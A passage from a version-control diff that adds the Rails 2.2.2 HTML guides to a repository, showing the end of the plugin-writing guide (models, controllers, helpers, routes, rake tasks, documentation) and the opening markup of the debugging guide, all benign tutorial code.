+Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Update<span style="color: #990000">.</span>send   <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span>  Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Update
+</tt></pre></div></div>
+<div class="para"><p>Finally, call your new method in the manifest:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> YaffleGenerator <span style="color: #990000">&lt;</span> Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>NamedBase
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> manifest
+    m<span style="color: #990000">.</span>yaffle_definition
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_add_a_model">6. Add a model</h2>
+<div class="sectionbody">
+<div class="para"><p>This section describes how to add a model named <em>Woodpecker</em> to your plugin that will behave the same as a model in your main app.  When storing models, controllers, views and helpers in your plugin, it's customary to keep them in directories that match the rails directories.  For this example, create a file structure like this:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>vendor/plugins/yaffle/
+|-- lib
+|   |-- app
+|   |   |-- controllers
+|   |   |-- helpers
+|   |   |-- models
+|   |   |   `-- woodpecker.rb
+|   |   `-- views
+|   |-- yaffle
+|   |   |-- acts_as_yaffle.rb
+|   |   |-- commands.rb
+|   |   `-- core_ext.rb
+|   `-- yaffle.rb</tt></pre>
+</div></div>
+<div class="para"><p>As always, start with a test:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/yaffle/woodpecker_test.rb:</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> WoodpeckerTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
+  load_schema
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_woodpecker
+    assert_kind_of Woodpecker<span style="color: #990000">,</span> Woodpecker<span style="color: #990000">.</span>new
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This is just a simple test to make sure the class is being loaded correctly.  After watching it fail with <tt>rake</tt>, you can make it pass like so:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">%</span>w<span style="color: #FF0000">{</span> models <span style="color: #FF0000">}</span><span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>dir<span style="color: #990000">|</span>
+  path <span style="color: #990000">=</span> File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'app'</span><span style="color: #990000">,</span> dir<span style="color: #990000">)</span>
+  <span style="color: #009900">$LOAD_PATH</span> <span style="color: #990000">&lt;&lt;</span> path
+  ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_paths <span style="color: #990000">&lt;&lt;</span> path
+  ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_once_paths<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>path<span style="color: #990000">)</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser.  Removing directories from the <em>load_once_paths</em> allow those changes to picked up as soon as you save the file - without having to restart the web server.  This is particularly useful as you develop the plugin.</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/lib/app/models/woodpecker.rb:</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Woodpecker <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Finally, add the following to your plugin's <em>schema.rb</em>:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/test/schema.rb:</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActiveRecord<span style="color: #990000">::</span>Schema<span style="color: #990000">.</span>define<span style="color: #990000">(:</span>version <span style="color: #990000">=&gt;</span> <span style="color: #993399">0</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+  create_table <span style="color: #990000">:</span>woodpeckers<span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+    t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode.</p></div>
+</div>
+<h2 id="_add_a_controller">7. Add a controller</h2>
+<div class="sectionbody">
+<div class="para"><p>This section describes how to add a controller named <em>woodpeckers</em> to your plugin that will behave the same as a controller in your main app.  This is very similar to adding a model.</p></div>
+<div class="para"><p>You can test your plugin's controller as you would test any other controller:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/yaffle/woodpeckers_controller_test.rb:</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'woodpeckers_controller'</span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'action_controller/test_process'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> WoodpeckersController<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> rescue_action<span style="color: #990000">(</span>e<span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> e <span style="font-weight: bold"><span style="color: #0000FF">end</span></span><span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> WoodpeckersControllerTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> setup
+    <span style="color: #009900">@controller</span> <span style="color: #990000">=</span> WoodpeckersController<span style="color: #990000">.</span>new
+    <span style="color: #009900">@request</span> <span style="color: #990000">=</span> ActionController<span style="color: #990000">::</span>TestRequest<span style="color: #990000">.</span>new
+    <span style="color: #009900">@response</span> <span style="color: #990000">=</span> ActionController<span style="color: #990000">::</span>TestResponse<span style="color: #990000">.</span>new
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_index
+    get <span style="color: #990000">:</span>index
+    assert_response <span style="color: #990000">:</span>success
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This is just a simple test to make sure the controller is being loaded correctly.  After watching it fail with <tt>rake</tt>, you can make it pass like so:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">%</span>w<span style="color: #FF0000">{</span> models controllers <span style="color: #FF0000">}</span><span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>dir<span style="color: #990000">|</span>
+  path <span style="color: #990000">=</span> File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'app'</span><span style="color: #990000">,</span> dir<span style="color: #990000">)</span>
+  <span style="color: #009900">$LOAD_PATH</span> <span style="color: #990000">&lt;&lt;</span> path
+  ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_paths <span style="color: #990000">&lt;&lt;</span> path
+  ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_once_paths<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>path<span style="color: #990000">)</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> WoodpeckersController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
+    render <span style="color: #990000">:</span>text <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Squawk!"</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Now your test should be passing, and you should be able to use the Woodpeckers controller in your app.  If you add a route for the woodpeckers controller you can start up your server and go to <a href="http://localhost:3000/woodpeckers">http://localhost:3000/woodpeckers</a> to see your controller in action.</p></div>
+</div>
+<h2 id="_add_a_helper">8. Add a helper</h2>
+<div class="sectionbody">
+<div class="para"><p>This section describes how to add a helper named <em>WoodpeckersHelper</em> to your plugin that will behave the same as a helper in your main app.  This is very similar to adding a model and a controller.</p></div>
+<div class="para"><p>You can test your plugin's helper as you would test any other helper:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/test/woodpeckers_helper_test.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
+<span style="font-weight: bold"><span style="color: #0000FF">include</span></span> WoodpeckersHelper
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> WoodpeckersHelperTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_tweet
+    assert_equal <span style="color: #FF0000">"Tweet! Hello"</span><span style="color: #990000">,</span> tweet<span style="color: #990000">(</span><span style="color: #FF0000">"Hello"</span><span style="color: #990000">)</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This is just a simple test to make sure the helper is being loaded correctly.  After watching it fail with <tt>rake</tt>, you can make it pass like so:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">%</span>w<span style="color: #FF0000">{</span> models controllers helpers <span style="color: #FF0000">}</span><span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>dir<span style="color: #990000">|</span>
+  path <span style="color: #990000">=</span> File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'app'</span><span style="color: #990000">,</span> dir<span style="color: #990000">)</span>
+  <span style="color: #009900">$LOAD_PATH</span> <span style="color: #990000">&lt;&lt;</span> path
+  ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_paths <span style="color: #990000">&lt;&lt;</span> path
+  ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_once_paths<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>path<span style="color: #990000">)</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ActionView<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> WoodpeckersHelper
+</tt></pre></div></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> WoodpeckersHelper
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> tweet<span style="color: #990000">(</span>text<span style="color: #990000">)</span>
+    <span style="color: #FF0000">"Tweet! #{text}"</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Now your test should be passing, and you should be able to use the Woodpeckers helper in your app.</p></div>
+</div>
+<h2 id="_add_a_custom_route">9. Add a Custom Route</h2>
+<div class="sectionbody">
+<div class="para"><p>Testing routes in plugins can be complex, especially if the controllers are also in the plugin itself.  Jamis Buck showed a great example of this in <a href="http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2">http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2</a>.</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/test/routing_test.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"#{File.dirname(__FILE__)}/test_helper"</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> RoutingTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> setup
+    ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>draw <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>map<span style="color: #990000">|</span>
+      map<span style="color: #990000">.</span>yaffles
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_yaffles_route
+    assert_recognition <span style="color: #990000">:</span>get<span style="color: #990000">,</span> <span style="color: #FF0000">"/yaffles"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"yaffles_controller"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"index"</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  private
+
+    <span style="font-style: italic"><span style="color: #9A1900"># yes, I know about assert_recognizes, but it has proven problematic to</span></span>
+    <span style="font-style: italic"><span style="color: #9A1900"># use in these tests, since it uses RouteSet#recognize (which actually</span></span>
+    <span style="font-style: italic"><span style="color: #9A1900"># tries to instantiate the controller) and because it uses an awkward</span></span>
+    <span style="font-style: italic"><span style="color: #9A1900"># parameter order.</span></span>
+    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> assert_recognition<span style="color: #990000">(</span>method<span style="color: #990000">,</span> path<span style="color: #990000">,</span> options<span style="color: #990000">)</span>
+      result <span style="color: #990000">=</span> ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>recognize_path<span style="color: #990000">(</span>path<span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> method<span style="color: #990000">)</span>
+      assert_equal options<span style="color: #990000">,</span> result
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/init.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"routing"</span>
+ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>RouteSet<span style="color: #990000">::</span>Mapper<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>MapperExtensions
+</tt></pre></div></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/lib/routing.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Routing <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
+    <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> MapperExtensions
+      <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffles
+        <span style="color: #009900">@set</span><span style="color: #990000">.</span>add_route<span style="color: #990000">(</span><span style="color: #FF0000">"/yaffles"</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"yaffles_controller"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"index"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><strong>config/routes.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>draw <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>map<span style="color: #990000">|</span>
+  <span style="color: #990000">...</span>
+  map<span style="color: #990000">.</span>yaffles
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You can also see if your routes work by running <tt>rake routes</tt> from your app directory.</p></div>
+</div>
+<h2 id="_odds_and_ends">10. Odds and ends</h2>
+<div class="sectionbody">
+<h3 id="_generate_rdoc_documentation">10.1. Generate RDoc Documentation</h3>
+<div class="para"><p>Once your plugin is stable, the tests pass on all database and you are ready to deploy do everyone else a favor and document it!  Luckily, writing documentation for your plugin is easy.</p></div>
+<div class="para"><p>The first step is to update the README file with detailed information about how to use your plugin.  A few key things to include are:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Your name.
+</p>
+</li>
+<li>
+<p>
+How to install.
+</p>
+</li>
+<li>
+<p>
+How to add the functionality to the app (several examples of common use cases).
+</p>
+</li>
+<li>
+<p>
+Warning, gotchas or tips that might help save users time.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Once your README is solid, go through and add rdoc comments to all of the methods that developers will use.</p></div>
+<div class="para"><p>Before you generate your documentation, be sure to go through and add nodoc comments to those modules and methods that are not important to your users.</p></div>
+<div class="para"><p>Once your comments are good to go, navigate to your plugin directory and run:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>rake rdoc</tt></pre>
+</div></div>
+<h3 id="_write_custom_rake_tasks_in_your_plugin">10.2. Write custom Rake tasks in your plugin</h3>
+<div class="para"><p>When you created the plugin with the built-in rails generator, it generated a rake file for you in <em>vendor/plugins/yaffle/tasks/yaffle.rake</em>.  Any rake task you add here will be available to the app.</p></div>
+<div class="para"><p>Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/tasks/yaffle.rake</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>namespace <span style="color: #990000">:</span>yaffle <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+  desc <span style="color: #FF0000">"Prints out the word 'Yaffle'"</span>
+  task <span style="color: #990000">:</span>squawk <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>environment <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+    puts <span style="color: #FF0000">"squawk!"</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>When you run <tt>rake -T</tt> from your plugin you will see:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>yaffle:squawk             # Prints out the word 'Yaffle'</tt></pre>
+</div></div>
+<div class="para"><p>You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up.</p></div>
+<h3 id="_store_plugins_in_alternate_locations">10.3. Store plugins in alternate locations</h3>
+<div class="para"><p>You can store plugins wherever you want - you just have to add those plugins to the plugins path in <em>environment.rb</em>.</p></div>
+<div class="para"><p>Since the plugin is only loaded after the plugin paths are defined, you can't redefine this in your plugins - but it may be good to now.</p></div>
+<div class="para"><p>You can even store plugins inside of other plugins for complete plugin madness!</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>config<span style="color: #990000">.</span>plugin_paths <span style="color: #990000">&lt;&lt;</span> File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>RAILS_ROOT<span style="color: #990000">,</span><span style="color: #FF0000">"vendor"</span><span style="color: #990000">,</span><span style="color: #FF0000">"plugins"</span><span style="color: #990000">,</span><span style="color: #FF0000">"yaffle"</span><span style="color: #990000">,</span><span style="color: #FF0000">"lib"</span><span style="color: #990000">,</span><span style="color: #FF0000">"plugins"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h3 id="_create_your_own_plugin_loaders_and_plugin_locators">10.4. Create your own Plugin Loaders and Plugin Locators</h3>
+<div class="para"><p>If the built-in plugin behavior is inadequate, you can change almost every aspect of the location and loading process.  You can write your own plugin locators and plugin loaders, but that's beyond the scope of this tutorial.</p></div>
+<h3 id="_use_custom_plugin_generators">10.5. Use Custom Plugin Generators</h3>
+<div class="para"><p>If you are an RSpec fan, you can install the <tt>rspec_plugin_generator</tt> gem, which will generate the spec folder and database for you. See <a href="http://github.com/pat-maddox/rspec-plugin-generator/tree/master">http://github.com/pat-maddox/rspec-plugin-generator/tree/master</a>.</p></div>
+</div>
+<h2 id="_appendix">11. Appendix</h2>
+<div class="sectionbody">
+<h3 id="_references">11.1. References</h3>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i">http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://nubyonrails.com/articles/2006/05/09/the-complete-guide-to-rails-plugins-part-ii">http://nubyonrails.com/articles/2006/05/09/the-complete-guide-to-rails-plugins-part-ii</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://github.com/technoweenie/attachment_fu/tree/master">http://github.com/technoweenie/attachment_fu/tree/master</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html">http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html</a>
+</p>
+</li>
+</ul></div>
+<h3 id="_final_plugin_directory_structure">11.2. Final plugin directory structure</h3>
+<div class="para"><p>The final plugin should have a directory structure that looks something like this:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>  |-- MIT-LICENSE
+  |-- README
+  |-- Rakefile
+  |-- generators
+  |   `-- yaffle
+  |       |-- USAGE
+  |       |-- templates
+  |       |   `-- definition.txt
+  |       `-- yaffle_generator.rb
+  |-- init.rb
+  |-- install.rb
+  |-- lib
+  |   |-- acts_as_yaffle.rb
+  |   |-- commands.rb
+  |   |-- core_ext.rb
+  |   |-- routing.rb
+  |   `-- view_helpers.rb
+  |-- tasks
+  |   `-- yaffle_tasks.rake
+  |-- test
+  |   |-- acts_as_yaffle_test.rb
+  |   |-- core_ext_test.rb
+  |   |-- database.yml
+  |   |-- debug.log
+  |   |-- routing_test.rb
+  |   |-- schema.rb
+  |   |-- test_helper.rb
+  |   `-- view_helpers_test.rb
+  |-- uninstall.rb
+  `-- yaffle_plugin.sqlite3.db</tt></pre>
+</div></div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/debugging_rails_applications.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/debugging_rails_applications.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/debugging_rails_applications.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1175 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>Debugging Rails Applications</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
